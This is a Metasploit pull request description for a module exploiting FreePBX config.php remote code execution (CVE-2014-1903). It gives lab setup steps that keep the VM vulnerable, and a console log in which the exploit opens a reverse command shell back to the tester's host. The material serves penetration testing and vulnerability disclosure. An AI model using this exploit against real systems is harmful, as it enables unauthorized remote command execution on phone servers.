rapid7/metasploit-framework — pull request #3131 by xistence (2014-03-21 03:30:54+00:00)
Title: FreePBX config.php RCE CVE-2014-1903

This module exploits FreePBX 2.9 / 2.10 / 2.11 - CVE-2014-1903

The easiest way to test this is by downloading http://downloads.freepbxdistro.org/ISO/FreePBX-5.211.65-8-i386-Full-1394596981.iso and installing this in a VM.
During the installation choose a static IP instead of dynamic/dhcp. At the "gateway" field specify an IP address that is NOT a gateway to the internet.
If you specify a real gateway here it will update FreePBX on startup to the latest version and thus it will be non-exploitable.

Run the exploit :)

msf > use exploit/unix/webapp/freepbx_config_exec
msf exploit(freepbx_config_exec) > set RHOST 192.168.2.52
RHOST => 192.168.2.52
msf exploit(freepbx_config_exec) > exploit

[*] 192.168.2.52:80 - Sending payload
[*] Started reverse double handler
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo EZr1cIxJOcaMkmaC;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "EZr1cIxJOcaMkmaC\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (192.168.2.22:4444 -> 192.168.2.52:36565) at 2014-03-21 10:27:22 +0700

id
uid=498(asterisk) gid=498(asterisk) groups=498(asterisk)